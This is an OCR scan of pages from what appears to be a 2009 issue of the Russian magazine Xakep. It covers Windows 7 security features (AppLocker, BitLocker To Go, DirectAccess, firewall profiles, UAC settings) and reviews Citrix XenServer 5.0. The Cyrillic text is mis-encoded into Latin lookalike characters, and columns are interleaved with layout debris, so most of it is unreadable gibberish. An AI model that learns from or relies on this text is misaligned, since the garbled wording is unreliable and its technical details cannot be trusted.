:='=.:,:--:..-.:;::::.;.:,:..,-.:::;.~:..'1::'.....::-.:.::;.~~_ ...­

"" "" ..""""clr...... ""''''""'''''''r...< c..«h, ,.".".·.'k.''''''...... 19:..0.:·"",,,,><.<·,, <. . " . " " . " ' , ' .... " , '9~""""''9'

;o,"r

·tl"'f.1Q-.,:Vll

......."""'.. <" ..... -...,.........­ .....,...,.,,...

,,,,.r.o ,,,.'t1 '~'.~l'

("",o;.v"" ...

,.•",.. ,~".""".out<"••"._r''''"

~ SY",e",

·W·"',,· .....

".h"

_'"'·;::;-·;;;:;;:,~l'llEla;l:'l ..

iOV·,,·,_,.;,:··-.:;;;;;:;~==--_···--~-----"·l;;.r:----

... .... .. ....""' ... ~._' ~

_,-~

~~-,~

..... --...- ...

_....

,

c.~~

~.~-

F~~[jlJad:

.;" j':;)t:oe-:JI!il[1.1

D"-iie. :-oonagtr

AKTVlBVlpyeM BitLockerToGo Alll'! $lleWKIo1

r;=-r

B Windows 7 60Jlee JlOr\.1'1Hbl

HCOOJlb30naHWI nporpaMM SRP (Software Restriclion Policies). HaCTpOHKa AppLocker npoH3BO.D;l1TCR npH OOMOutH rpynnoBblX nOJlHT"'KHa cepBepe winZkB R2. npH noCTpOel-OU1 npaBi-UIa MOJKHO )'K33aTh nyrb K~3fuzy,}{3WIi ~HcI'POBy1OnOJJ;nI1Cb.

notJ;I'OTOBKH nOJIh30aa'reJUI,lle roBOpJl )')Ke 0 TOM, 'ITO a.l\MHH

~

links

Ec..1H rrpHXop,lITOI JJ;eJIHTb KQMllbIOTep CJJ;pyrHMH nOJU:>30BaTeJUl­

,lIOJDI<eH6bVJ BcenpaBWlbHo HacrpoMTh. npH HaJllfi.l1H B KOMna­

MH, KOTopblem06mMeH.fITb HacrpoHKH HJIH cnoc06Hbi y,ll,aJIliTh

HHI1 KJnteH'I'CKHXCHcreMWindows 7 H cepBepa Win2kB R2AJlfl

'I)')KOH cl'3H:JI, Ha nOMOlll,b npHAeT q:,YH1<l.\IDl. "pc Safeguard»,

,lIOCl)'Ila K pecypcal\i: BHyrpeHHei1 cern: MmKHOHcnOJib30BaTb

KOTOpaR 3KTHBHpyeTOl ycraHoBKot'! nepeKJIIO'l.aTeJl1l "Turn On

HOBytO <PYHKU,HIO DirectAceess, n03BoJmIOW;ytO YcraHaBJIl1·

PC Safeguard» SceOHCTBax 06bl'llIOt'! (He Cl,4MHHCKOI1) }"IeTHOH

naTb3~uteHHOeCOeAHHeHHenonpoToKOJlaM IPsec HIPv6,

3anlrCH. OOC}le BblXo,na H3rnCTeMbl Bee H3MeHeHHJI B Hacrpoi1·

npHMeH.lUl AJlfl illlfcl'POBaHilli TPa¢IHKa aJlrDpI-ITM 3DES HJlH AES.

Kax 6Y.llYfOTMeHeHbl, a HOBbJe 4>ai-UIbl- YJJ;aJIeHbI

·6eTa-Bep01l0

CXeMa Tal{QH CB1I3H BHeWHe noxoma Ha VPN. f.llaBHbIM OTJII1'U1'

TpaLl;mr BCHCTeMe llill1 C03,lJ;aHIDI HOBoro q;.atiJIa nOJLbJOBaTeJlb

Windows AIKAJHI Windows 7 MO>KHO 3arpy3VlTb c lechnet. IT1!£[osolt.com/

eM DirectAccess OT VPN JlRJUleTCiI ycraHol3JleHl1e OOeJ\HHeJum B

npe.llyl1pC>K,ll3eTOI 06 3TOM) . Ecrb a03MO>KHOCTb Bbl,lI.eJIHTh K<UK­

4>oUODOM pe1KHMe 6e3 yqaC'1Wl n0Jlh30BaTeJlfl. 3To ,lIeJlaeT pa60ry

A0M}' 1l0JIh30BaTemoJlorn'l.eCKHH ,1I}ICK onpeAeJleHHOrO p<l3Mepa.

npo3pa'IEOH, MaKCI1MaJIbHO OpOCTI)J1 H Y,l106HOH. CHCTeMHbfH

PaHee, '1T06bl nO;ly"Ui'Tb cI'}'lllQ.I.HOHaJIbHOCTb PC Safeguard, HC'

(IIOCJIe PerHC­

ClJ»\1l1UI1CTparop MO>KeTynpaLVUITb YAaneHHoH cHt.TeMoH rryreM

06XO,!tHMO 6bUlO ycTaHaBllllBaTb OT,lIeJlbH)'lO Y!llJJllry Wind ows

li b ra r·y/d!13..4 9;343

06HoBlleHVlR rpynnOBbOWOJlHTHK, KOTOpble npHMeIDUOTCJlIJ.O

SteadyState (go.microsQft ('om/fwlink/?LinkID-] 17104).

aw,

BXO,lla OOJlb30BaTeNI. B CHCTeMY. KpoMe aBropH3a.uHH KOMnbIO're­

CeW:rac3Ta q:,YHKLJ;illi BCTpOeH3, H B03~{0:>KH0, nOll)"lHT60J1bIuyIO nonyJLllpHocrb. BitLocker, npl1 nOMO!UH KOTOpOro MOiKHO

• 5nor pa3pa60T'-lV1KOe

pa, nOMep>Kl1BaeTCfl MHoroypooHenaJI 0!X:lBepl<a nOAilltHHOCTH OOJlb30UaTeJm (napom., cMapH<apTa). Tenepb,llOCT}'II K pecypcaM BHyTpeRHeH CeTH AflJI J«Dl<,ltoro n0JTh30BaTeNI. MO:lKHO Hserpa»­

HbIMH' (Ha'lHHan: CVista SPI), nOJIY'IHJI B Windows 7,a;aJ1bHeHWee

BaJ'b OT,lIeJIbHO. HeJIb351 HeOTMeTIITb, ~ITO Windows 7 aBTOMarn­

pa3BHTHe. Bo BPCf\t.R YCTaHoBKH arrroMaTH'IeCKH npoHCXQD,HT

qeCKH HaxOp;HTccreBbre npl-1HTepbI it HacrpaHBaeTycTpOHCTBa.

OO3tl.aHHe JJ;BYX Pa3,ll;eJI0B (3arpY30~lHoro H CHCTeMHoro), He06­

Windows 7 - ~s. rns.dn.com/e7u!.

nOJlHOCThlO3anmcl'poB3TbCl1CTeMHbIH pa3,11;eJ1 HJIH pa3,l\eJl CP;3H­

60JIee TOro, AiIJI KIDK,ll0i1 CeTI-f MOIKHO 3MaTh CBOM npmrrep no

XO.D;RMblX AM pa60ThI BitLocker. HanoMHHM, HeKOr.aa nOJIb30­

yr.10Jt'laJUHO. PaHee 3TO -rpe60aano BMeuraTeJlbCTBa co CTOpoHbl

BaTeJlb,ll,OJDKen 6bll1 n03a60nITbOI 063TOM CaMOCTOJlTeJlbHO.

a.D;lI-tHHa/nOJlbSOSaTeJIJI, a B HeKOTOpbIX ClI)"'IaJIX-

HOBM TeXHOJlOOUl, nOJIY'IHBlliM H a3B<UiHe BitLockerlbGo,

rrpmreHeH.l-Ul

C!<pHOTOB H CTOPQI--(HHX yTHJHiT.

n03BOJrneTIIIHq;.poaaTb H BHeWHHe HOClITeJIH (¢.neiliKH HJIIt

EinarO,ll,'apJ1: CeJ\bMOH BepcHH opoTOKOJIaRDP, KJIHeHT Remote

iRecTKl1e,ll;HCKH), OT<PoPM3THj>OBaHHbie B FAT/FAT32, ExFAT

Deskoop Client nOJly'u1J1 HOBble B03MO>KHOCTH. Cpe.aH H.lfX­

HJlH NTFS. ,llocryn J< 3aIllHepPOl3aHHbiM HocrrreiUlM B03MQ)KeH no

nOMep>KKa TeXHOJIOfl1H Aero Glass, Direct2D H Direct3D 10.1,

napOJl1o HJJH cMapT' KapTe Cmo6oro Ko:o.tnhlOTepa. n paB.a;a, eCJIH

DirectShow, Media Foundation. YBeJIW-leH3 npoH3BOJUITeJlb·

3TO 6YJJ;eT He Windows 7, TOY.ll:aCTCR ilHIIIb QTeHHeJJ;3HHbTX. CaM

HOCTh, )'l'IreHbweHhl3Mep)!{lGl3B}'K8 Ii p.{HoroetJ;pyroe. Y.a;aJIeH­

BitLocker A.rm flbl6pamroro pa3AeJla HJIH CI>1eHHOro UOCl1Tem:I

HblH pa60QHH CTOn BecbMa 6blCTPO peampyeTHa C06b.\THfl,lVDKe

Tenepb MO>KHO Bl<JlIOqHTh!l KOHTeKCTHOM MeRlO, Bbl6pan ll)'HKT

BO apei't.R npocMoTpa BIIJJ;eo DBblCOKOM Ka"lecme.

(,Turn On BitLocker" (He HaaO HCKaTh em B "naHeJIH YnpaB.lle­

TEXHonorHH 6E30nACHOCTH

TpYAHa.

Hilli") . 06paTHM: onepaUl1fr no paCllHl<PpoBKe cl'JlelID01 TalOKe He

0',!{HOHl-f3 HHTepecHblx UOBHHOKB Windows 7 MO:lKHO Ha3eaTh

AppLocker, n03BOJIalOI.LtHKynpaBJI5ITb pa6oTOM npHJ!O>KeHHH.

~

122

H3MEHEHHH B WINDOWS FIREWALL

I1cnoJlb3yn ero, aAMHli MO>KeTlieTK03Man,lIporpaMMbl, KOTO­

nepBhle nepCHI1 Windows He HMeJll1 BCTpOeHHblX cpe,1l;CTB 000­

pble pa3pernaeTOl3anyCKaTh Ha nQJI b30tlaTeJIbCKHX 1<0MObIO­

KHpoBKH CeTeBoro Tpacl'l1 1<3, AO MHOrO'llfcneHHble 2InH,ll,eMHH

Tepax. TexHOJIOrH1I KOH"IIXl1Il1pyeT Bce THnhl <PaKnoB, KOTOpble

IIOKa3anH He06xotJ;HMOCTb B3TOM. Ha~mHaR CWinXP SP1, nOJIb'

MoryrHaHeCTH BpettcHcreMe: HCnOJlHfleMbie H ycTaHOBO'lHbIe

30S3TeJlH nOny'{HJIH Windows FirewaU> KOTOPbIH CSP2 aKTHBH­

q:,awbl (exe, msi, msp), Clqll1nTbl (bat, cmd, vbs,js) H6H6.nHO­

pyeTOi no YM0JI'laHI1IO. XOTIlnepBOe, 'ITO,lleJIaeT.llI060M I03€ p

TeKH (dll, ocx). npelliAe,lVlR 3THXUeJIeH npI1XoJJ;HJIOCb3a,QeMC­

nocneycraHoBI<1l. CHCTei\1bI, -onOllOqaeTWF. Vi Bce nOTOMyliTO

TBOB<Ub HeCKOJlbI<O 3anyraHHbie nOJIJiTIl'KH orpaul1'!eHHoro

OH KJiIlIHT oillu6KaMH, He yJJ;06eH B HacrpoHKe (MO:lKHO TO.nbJ<O

XAKEP

os /1251 09


BKJlIO'lHTh rnm OTKJIIO'lIITb \oV'F; AOCT)'IlHO Bcero ABa CTaTIlqet· KHxnpo~HJUJ:,ltOMeHHhlH It craHtlapTHhfJ'1) Ii orpaHltqeH B lVIaHe

¢YHKL\HOHaJIbHocrn (HanpHMep, y?-leeT tPlUlbTpOBBTbnHWb BXO­ MuulliTpa¢flK). Visrn nOJl)"UlIlB 06HoBJleHHbIH WF, CTaBWH'I'i Ojl;HHM"3 KOMnOHeHTOB "UeHTpa 06ecneqeHllJl6e30nacHOCTH

Chaos,," W'1e:l to be '1otified about ("langes to your computer

Windows». K rnaBl-(b(M eroocOOeHHoCTRM CTOliTOTHecTlI: B03­

U..=.", ':",euT_~,!'..e.Ib!~!.~~.n.!£~~-':'.~!!:Lh~m/,,1

MO>KHOCTb ¢H.Jlb'rpaIl,HH Hc.xo,llluueroTpacPHKa, cnoc06HoCTb Bbl­

1t.11 mt nlN' lPn!t U,,, ,",ccc<m1 Centrel ,,:tIn~

~'COJ"ml /'cm m.ting ch.ngel tc ycu' 'c~

ffRlliITb He.KOTOpble THnbf CeTeBblX aTaK, 06ecneqeHHe KOHTpoM

.n;ocryna IlporpaMM BceTb, nOMep}J{J{a fPv6u IPsec, AaCTpoHKa Dehult· Notify me only when p'''9",m. try to moke changcs to my computer

napaMeTpoB qepe306beKThl rpynnoBoH nQnHTHKH Group Policy

Object (GPO)_WF B VlSla nOJl}"lHJI TPH,n;JfHaMH'lecKJ1X npocPWUl

~cn't

-CJ-

Hacrpoex (domain, private, public), KOTophIe MO:>KHO npHBlt­

notify me ,·.htn I mll:e .;h,ng" Ie

W;~rlel".<

lltti~g.

3b1BaTb KmITeP4>eHcaM. OP" nop;KJUOqeHHH KcerH O1CTeMa H,AeHTIIIl>HQHpyeT::rry cen. H npHMemleT HaH6on:ee llOAX-OMlUHH npoclmnb. fum B CeTII. 06Hap)')KeH K0Hl'p0JUlep ;:J;OMeHa, yCTB­

if)

HaBJUI.SaeTCJl domain, a caMblM 3arn;HIJJ:eHHbIMJlB.WIeTCH public.

Re"mmtnded ifyeu "II r.mili., I"eg,om, 'nd ";'~ hmili.,w"b.~e•.

t.£T06bl OpH noc.;leAYJOrn;eM nO,ll;lUllO'leHlfH K ceTH 6bUI ycraHOB­ JIeH TOT)!(e OPOcPWlb, B CHCTellfe 3anyrn;eHa cneU;HaJlbHaH CJI)')K6a NerworkLocation Awareness ~1.A), coxpaIDIlOIIJ;a51 HHcP0pMa­

B H8CTpoiiK8X UAC -

4eTbipe ypOBH~ peaK~1'I1'I

U;mo 0 CeTH B cEoeR 6a:>eP;amililX.. B BHCTeeA1'!HCI'BeHHOe (HOOqeHhHenplliITHOe) orpaHWIeHHe CHff3aHO CTeM, 'fto B e;:J;HHJm;y BpeMeHH Mo»<eT 6bITb aKTHBeH TOJlbKO O)l;HH npocPHJIb. ECJlJI KOMlIhlOTep nO,[J;J01JOlJeH cpa3YK

KIDi\AOM 3anyOl:e. Mexa.Jrn3M ;:J;OCTaTO\ffiO rrpocr H 131'0 >Ke 13peMJ1

HeCKOJIbKHM ceTffM, npHMeHffeTI:R HaIi60nee OrpaHWIHBaIO~HH

3<fxt>eKTIIBeH, HO liMeHHO pa60Ta UACBbl3b1BatLa II Bhl3bfBaer

npoq,I1Jlb. 3To '-laCTO Bbl3bIDaeT np06neMbJ c nOjl;JUTIOqeHHeM.

mrn6o.n.bwee pa3APa>KeHHe y nOJ[b3()BaTe1IeH Vista Cl30Hlvni noc­

BHeWHe H3CTP0I1KH WF B Windows 7 He H3MemUHlCb, Ho'rerreph

T01'IHHbIMH 3anpocaMH BO 6per.uJ ycraHOBKH. HoaOH nporpaMMbl

MO~T 6bITb aKTHBHO HeCKOJIbKO npocPlliIeH. B HacrpoHKax

Ii rIpH 3anycKe HCIlOJl.HJlCMOro <PaJ1na. HacrpoJ1la.1

llIClUnOHOB Private H Public nOJIb30BaTeJIb MOIKeT3aUnoKHpOBaTb

VlStaon:yrcrByJOTKaKKrlacc,MO)KHOnHWbBKJIIO'IIITb!Q'11(.nfO'-lHTb

pa60Tht UAC B t>

info

Bee BXO,1VJlll,He Coe,lU1HeHMJI AlUl nporpaMM, HeBKllTOqeHHhlXB

Ii 3acraBJ.1Tb a.tJ;MHHa Ka)K,ltbfR pa3 BBQDJITb napom..D,llSI nOJJ;­

• nO,o,po6Hee 0 WAlK

CfIHCOK pa.3peweHHblX (Blockall incoming connections, including

TBep)f(Jl;eHliJ1 Cl30HX nQ/lHO:\lO·nrn. B Unix KTaKOr.ry npHBhlIOIn, HO

YHT8~ B CT3Tbe «CJ~

Moc6opHbie OKHa» B

those in the list ofallowed programs), -o6ecneqHBaH MaKCH­

n0Jlb30BaTellb Windows eee-Talal H36a!!OBaH. nOOTOMynepnoe,

MMbH)'lO 3a~l1TY.,aono,lHH1tilhHO MO>KHO ITOJJyqa'Th yee.n;Oi\f.ile­

'ITO jl;e.naeT lO3ep cpa3Ynoc.ne ycraHOBKH Vista, -

HlHl rrpH nonbITKe HOBOU nporpaMMbll3blWrH B HHTePH{~T (Notify

3.D,ecb r.to>KHOn0peKoMeH.II.OBal1>yIlfJu-nylWeakUAC lwww.

OTlOllOqaerUAC.

~HBapcKoM

HOMepe

:x: 3<1 2009 ro.a.

me when Windows Firewall blocks a ne\v program). TaJOKenerKO

tweak

OTKJlIOlmTh WF AJUlOnpe,1\eJIeHHoro flPO~HJIlt. ~eo;:J;HoYlJ;06e­

UAC, n03BUllHeTnepeaeCTH ero B <<TIOOIH» pe/ICHM. B 3TOM C/l)"1ae

mo cn~aHOe H3CT]>oMKaMYf. Pa Hee Bee 1!f3MeHeHMll coxpaHHJ1l'fo,

UACBlODO'IeH,H03anpoo,fn06o.nbwHHcmYHe3Ha'-flfl'eJIbHb[X

~lJ1l'1 Windows

B aKTIfBHOM npocpl1JIe, H npH npHMeHeHIIHtI,pyroro nJXXl>HJl1I.

napaMeTpOBHe 6ylIYTBblB0N'fThOl HlIoca:>KJJ:aTb nOnb30BaTeJllO.

Microsoft nOJly4l'1na

IlX rrpKXO,tJ;'HJJOCb n08TOpl'lTb. Tenepl.> MO>KHO 3a.n;aTb OPO~flJlH,

Pa3pa6oT'lHKH npHc.nyrn.aJlHCb K MHeHHTO nOJIb30BaTeneH, H S

60nee

tvUl K01'OpblX npoH3BO,D,H1UI H3MeHeHlIe. B Vi~ta, 'IT06hl33,1.laTb

Windows 7nommnoa, '1eTblpenapHaHTa Hacrpoel< UAC OHM lIB­

paU~OHaJll'l3aTOpC~

Kl'IX npeAJ10>KeHl'I~ aT

tl<lc.com), Km'Opal'ITIOMUMOOTIUfJO'-feHHJ1 H f3KJUoqeHW'! • nocne ny6f1ltlKa~

7 Beta

nonYMl'Innl'loH8

HeCKonbKO nopTOB, HX Heo6XQAHMO 6b1JlO nepe'-lHCJll'ITh '-fepe3

XO,lVllUl B«Control Panel- System and Security-Change User

3BTUll)'IO; B 'fOBOi-i BepoUl Mo»<t!0}'l(a3b1n3TbAManmoH.

Account Controlsetting:o>: • Alwaysnoruy-3anpOCDblLl:aeTOl D

non b30BaTe}1e~~TeC­

KpoMe TOro, (.:ropoHtll1e pa3pa60T'lHKH TIOJI}"iWUl 06H.OOJleH­

JII060M CJI)"Iae (l<aKB Vista); • Default (ycTaHOBJleH no YMOJI'Ia~

Tepos co Bcero Ml'Ipa,

Hbl" API, n03BOnJ1fOIllHH nerKO 3a;J,eBcraoBaTh B03MO:>KHQCTH

HHro) -

WF 11JIH tl,06aBHTb CBOH epYlua.uu1.

cHcreMHble HacrpoAKll H3MewuoTOl nporpaMMHO; eCJJH me

• Ha6pas s none nOl-1c~

;:J;eikTBHe npoU3Bop;HT 3apemCTpHponaBWHHCH nonb30B8TeJ!b,

K8 MeHIO "nyCK»TeKCT

OIIOBeIJJ:eHHenpoH3£OM'1'CfI. TOJIbKO B TOM CJIY'lae, eCJIH

ynPABnEHHE UAC

UAC He3ap;aeT BonpOCOB;

winver, MO>KHO yol-1AeTb

BWindowspaOOracnpaSaMH8,AMHHHcrpaTOpaCYJIHTMHO:>KeCTBO

• Notifyme only when programstlyto make changes to my

OKHO

y.D,06CTB- Bee AeHCTBI1.II pa.3peweHbl, He 1pE!6yeTOl. HHKaKl1X

computer -nOXOiK Hanpe,n;b~HH,TOJIbKO Secure Desktop npH

rAe oTo6pa>KeH8 SCSI I'IH<p0pMaLl,HSI 0 BepcHI'I

,,0 CI'ICTeMe».

lJ;OIlO1IHH'reJIbHblX pa3peWeHH~ltv1R yCTaHOBlG1l1porpa.MM, 06HOB­

BbJ30Be UAC He HCTTOJIb3yeTOI;

neHMJI CHCTeMbl,.nocryna K pa:me.naM )KecTKOrO ,llHCKa H npo'iee,

• NevernotifyYOU-OTlUlroqHTb UAC.

1-1 HOMepe C60pKH

MHHYC-.m060i1 BHpyc, 3anymeHHblH H3-fJO;:J; rrpHBHJlernpoBaH­

OOCJleAHHe .ll:Ba nYHlcr8 OTMeqeHbl KaK He peKOMeHJ\YeMble, HO

Windows 7, BKnlOyaSl

HotiyqeTI:IOH 3aIIHCH, BbITlOJIHl'leTOi c rrpaBClMH a,llMHHHcrpaTopa,

CKIDKeM, 'ITO pa60Ta B Default.ll:OBO!lbHO KOMtPopTHa. KcraTH, B

.Q8Ty

T.e. HMeeTJ\ocryrr ¢aK"IW-leom Knl06oJl.f)' £<QMnOHel-ny cHcreMbl.

H8CTOflIl.\ee BpeMJI UAC HHKaK He pearHpyeT, ecnH npWlO)!{eHHe,

8KTHS8UHIo1.

l'ICTeyel·\l.1~

CpOK8

B Unix npo6neMYpellIKJIH. )l)Ke.ll.aBHO. BWindows C3THM eepb€3HO

3afIYllleHHOe nOJIb30BaTe.neM, nblTaeTCR H3MeHHTb HaCTpoihrn

Ha'lJaJlH 6opoTbOl BVista, r.a.e BnepUble rrpHMeHeH MexaHmM,

UAC. 3To n03BOJUleT He3aMeTHO era OTKJIlOqHTb, H.D,aHH}'lO

• DlrectAccess MO>KHO

TIOJIY'lllBlllHH Ha3BaHlle UAC ("YnpaBJIeHHeyqeTHblMH 3arrnCflM H

ourn:6Ky fUlaIrnpyKITycTpaH.HTh BRCI.

HClCTpOHTb T8K. YTo6bl

B CHCTeMe <paKTWIeCKH Crrpa:eaMH 06h1'lHoro nOJlb3OBaTeJ1.ll. Ecnll

cnOlKHAA nPH~ECKA

,Q\.1J1 TOllbKO Tpaq,I1K.

»<eJ1.lUlBbIIIOJlHeHHR3ap;a'IHTpe6Y10TCRnpa!3aap;MHHHcrpaTopa.

113MeHeHHH BWindows7 Aocraro'iHOMHOro. OpocroH llpH'lec­

npe,nH83H8yeHHbliil

TO BhJp;aeTCR 3anpoc Ha IIOJ\TBep;Kl\eHHe nOBhIWeHllil.IIpJ.lBHJle·

KOH Visra ~ech He o6ollLlIOCb. Y a,1J;MllliHcrparopa nOffBKIlOCb

AnSI KopnOpaTI1BHO~

rnA (B crreI.J;HalIbHOM pe:>KHMe Secure Desktop, He fJ03BOMIOUleM

60nbwe B03M<»KHocrei-i 00 opraHll3alUrnY,l.l06HoH H tJe3onaCHoH

CeTI1

nporpaMMHO HIDKaTh KHom<y). 11 TOJIbKO B3TOM ClJ}"fBe KOHKpeT­

cpe,D.bI -anropHTM MHOrKX ~fH H 31feMefITUB KaPtJ.HHaJIbHO

Hoe nplliIQ)KeHMe 6YP;eTBbIIIOJlHeHO CopaBaMH aAMHHflcrpaTOpa.

nepecrpoeH. Ho peaJlH30naTh HeKOTOpble 1-13 HHX YllaCTOl TOJlbKO

Do.rrbllIlIM MHHYCOM UACRBJLlleTCH ern '<336bIlNHBOCl'b": OH <<HC

npHHMH'fJ1.H HOaoH B€pOIH cepBepa Win2k8 R2 (Wmdows Server

3anOMHHaeT» nporpa1'.li\ry, H ITOTOMY 3aIJ1XK: noBTOpl'IeTOI TIpH

7). noroBOpWM 0 HeM BQllHOM IDCJletJ;ylOLUHX HOMepoB.I

1IUTlb30BaTe]U!») .npu aKTIiBHOM UAC a.II.MHHHcrpaTopbl pa60TcuoT

e-XAKEP 05/125/ 09

4epe3 cepsep npoxo­

I

~1231


.:~I:~ CEPrH1 .GRINOERa flP:WjYK

I GRINDERlaSYNACt(.RU I

8-o-sna OB1Z13 Clpa

-+-iH

=rcrtrix XeriServer: a:630p HOBOH BepCLH1 nnaTij)OpMbl BHPwanH3aLtHH no Mepe yseJlV1LJeHV151 SbILJV1CJlV1TeJlbHbIX MOLl.\HOCTeili Ha pblHKe CV1CTeM sV1pTyaJlV13alJ,V1V1 CTaHOBV1TC51 Bce >KapLJe. CV1TyalJ,V110 MO>KHO cpaBHV1Tb C 30HOili 60eBbiX AeilicTBV1i1i. npaKTV1LJeCKV1 Bce V1,pOKV1, LJTo6bl npV1BJleLJb P51AOBbIX nOJlb30BaTeJleili V1 KpynHblx 3aKa3LJV1KOB, y>Ke npeAJlO>KV1JlV16ec­ nJlaTHble BepcV1V1 CBOV1X npoAyKTOB [npaBAa, C HeCKOJlbKO O,paHV1LJeHHOili epYHKlJ,V10HaJlbHOCTblO].

B KOHlJ,e epeBpaJl51

XenSe,ve" HaLJV1Ha51 C peJlV13a

~,z

00

BHPTYAnH3Al\H~CTAHOBHTC~BCE

nony·

5.0,

KOMnaHV151 Cit,ix 06b51BV1Jla, LJTO

TaK>Ke 6YAeT 6eCnJlaTHbIM . BHptyaJIbHM MatUHHa He HMeet OrpaHWleHHH H3

Bepe MO)KHO 6e3 npo6AeM pa3MeCT}1Th HecKOJIbKO

06CJry)KHBaHHH np" ycnomm Taro, 'ITO pecypcbl He­ CKOJlbKHX cepBep08 06be.clH HeAbl n rryJl. Pa60Qan HaI'pJ3Ka ,l:\HHaMH'leCl<ll nepepacnpeAeM­

Bl1pTyaJIhHbIX, CH~13HB 3aTpaThi Ha o6opyt\OBaHHe 11

eTa1 He TOJlbKO Me>K,IJ,y BHPTYaJlbHb.lMH. HO If <p11311­

,ll)rnYlIaJleHHoro yrrpaMeH1'ffi cepBepaMH, VM, Blip­

nOBbICHB~J<TltIlHOCTh.npoUe,a;ypaBOCCTaHOMe­

'IecKHMl1 cepaepaMl1.

HlUl BHpTyaJIbHOro cepBepa BblrJm,ll;lfl' npoute, Be.ID>

yrrpanneRHe.

~MHH)' lJ,ocraro9Ho nepeHecTI1 tPafuIbI H3

Tpe60BaHHH no npeAOCTaB1leHHIO BbICOKOro ypoBIDI AOC1)'llHOCll1 CHITeMbJ (High Availability). Pa60tJylO

>K, Tcnepbno3HaKOMHMOIcXenServerrro6JIH)Ke.

,tIOcryIlHblH cepBep, 6YAb TO tPH3li'lectGIH WIR BMp­ T)'aJIbH.btit. Cel'O/1,tul Ha pbIHKe/1,OCT)'TTHO MHO)KecTBO

OC, ytrdflOBJIeHl-ryto Ha m060M ¢H3I1'1ecKOM cepBe­

YCTAH OBKA CIT~IX XENSERVER i\AA ycraHOB­

peweHHH BHpTyaJ1'lil3aUHJf, OMaa;aIOlltl-(X pa3HOH

pe,

KOHBepntpoS3Th B BHvryanbHyJO

KH XenServer nOHM06HTa1 KOMTlbIOTep, HMelOllUll1

¢YHKIV10HanbHOCTblO Ii paOlpoCTparUler.1blX no,tl

(P2Y) Cl1creMY. &lb IIo)I.ll,ep>KKa Bcex c:ymecTB)'lO­

XapaKTepHCTl11rnHeHIDKc 1.5 rru64xCPU, 1 r6RAM

Microsoft Hyper-V,

J.UHX CJfcreM xpaHcmffi ,!J;aHHblX (JlOKaJlbHbtR AHCK,

H He MeHee 16 r6 MecTa HaXap/1,e. 50 Bpehffi yCTaHO!3­

VMware ESXServer, Parallels Desktop/Workstation! Server, Qemu, Virrua!Box, Virtual Iron, XenServer, Oracle VM 11 T.,D;. B QCHOBe nOCJle,tlHHX Tpex Jle>KHT

NAS, SAN HT.tt.). OtPHl.IHanJ.,HO BKa'l.ecree rocreBbIX

KM6y,!{eTC03J\aHO/1,Dapa3.l{eJla; KopHeBoi:icXenServer

CHCTeM nQlJ,ll,ep}f(JffiaJOTCl'I:

pa3Mepoi\t B 4 r6 H Pa3AeJl,£WI VM. HeKOTOpble roc­

• Bee aepam Windows, Ha'lltHaH OT 2k SP4lJ.o 2008,

TeBble

CB060AHbIH rHnepBH30p Xen, KOTOPbIH H3BecreH

B TOM ~IHcne H 64-6H'l"Hhle c napaBHpTyanbHblMH

B MHHHMaJIbHOH KOHepHrypaIJ;HI1.

TeM, 'ITO QD,HlIM 1of3 nepBblx 06ecnel.JHJI nOAlJ,ep>KKY

,ll,paHDepaNH1,

Vista HeOOXO,!{HM BHplyaJIbHblH AHCK pa3:\1epoM n 16

nRPHEE.

~e 6bl, -

p33iJM'lHblMH

Ha O/1,HOM t;P113U4ecKOM cep­

JIHu:eH3IDlMU:

APyroi1

Intel

MO)I{HO

3m cyrneCTBeHHO yrrpotUaer

XenSen.rer

JIemo

cnpoeKTIlpoBaH C }"-leTOM

CCpnIqn-ll\HposaHHhIMH

WHQL

KOl1lilJecrnO

HCfl0JU,3yeMOH onepannmOH nar.1RTIf:

Dce, 'ITO CMO>KeTDbI,tI3TbCepBep, 6YAeT /1,ocrymtO VM. TYaJlbHblMH,l{HCKaMH 1I nyiJaMH HcnOJlb3YeTOl y,!{06­ Hafl H flOmITHaJ1 B pa60Te KOHCQ)lb XenCenter. '-ITO

DC nOTp€6ytOT 6o..nbllIe Mecra, 'IeM yRa33J-\O HanpHMep, AJUl:

HOB<UI BepcIDI XenServer BKJU04aeT MHO>KeCTBO

(Windows HardwareQuality Lab); • SaSE Enterprise Linux OT9 32/64 6HT; • Red HatEnrerpriseLinuxOT3.x HCemOSoT4.S; • Oracle Enterprise Linux OT 5.0; • Debian Sarge/Etch.

q>)'fIl<W1H, paHee,ll;ocrynHbLX B TUIaTHb1X pewemUlX.

HeKOTOpble xapaKTepl1CT11lG1 BHpTyaJIbHOJ1 Maurn:­

nOCJle npoeepKH o6oPYAOBaHIDI npocro

l1epe'lliCJllO TOJlbKO HeKoTOpble H3HHX:

RbI 6yPYT 3aBHceTb OT HCn01lb3YeMOM

pa6o'raTh.,l{M 38nyCKa :rocreBoJ:i Windows npou:ec­

- HeorpaHHlJeHHoe KOJIWlecTBO cepsepoB H BlipT)'­

rocreBOH OC_ B06U\eM ClI)"Iae 3TO: 8 CPU (64-6HTHbIH) c B03MO)K­

cop ,Il,OJDKeH

aJlbHblXMaUUfH;

HOCIblO TOHKon Hacrpothrn pecypcoB, /1,0 BoehMH

paruoH BHp1YaJIH33.i.\H:H Intel VT/ AMD-V; BCJJY'Iae c

OOJIHOH annaparuoH 13HpTYaJll13aI..(HH

VT 11

AMDSVM.

B03MO>KHOCTH CITRIX XENSERVER 5.0

-IJ,UHaMWleCKM 6aJ1aHCHpo~KaHarpy:nCH;

He MeHee 201"'6 (4 + 16 r6).,lWi KOM<PoPTI-IOHpa6<:rThl: 3TH WitPPbl CMeJl0YMHOmaeM Ha 2, aAJU!.lJ.}I:CKa -

Ha

S. MHHHMWlbHbIX rpe60BaJUl:H CJI~r npH,l(epIKH­ BaTbOl B JIKKKf',1 eJIY'!ae, ~lHaqe Macrep ycTaHOBlG1 ClTf<a)KC'J'CJl

liMen. IJQAAep>KKY TeXHOJlOfHli anna­

Bl1pTyMbHbIX,l.l;HCKOB (BKJIK)9M CD-ROM) lflJ,OceMH

Linux TaKafI IJOMep>KKa He06H:xlTe.>lbHa.

(Live Motion)

CeTeBblX K<l[.Yl'. nOAlJ,ep:lliJmaeTOl: ropWlee rrO/1,IQIJO­

YcraHouo'IHbli1ISO-06pa3MoJKHoc13060.ztHocKa43Tb

M€)f(,ll,y$H3H"IeCKHMH cepBepaMH 6e3 npepbIBaHH.R

"IeHHe Bl1prya.1bHbIX IJ,HCKOB 11 ceTeBbIX ycrpoikrn.

no CCbLllKaM Ha caiITe v.ww.xenserverS.coJD. ,l(.Iui

- MHrpaIJ,Wl BUJYlyaJU>HbIX MallIHH

~

124

i

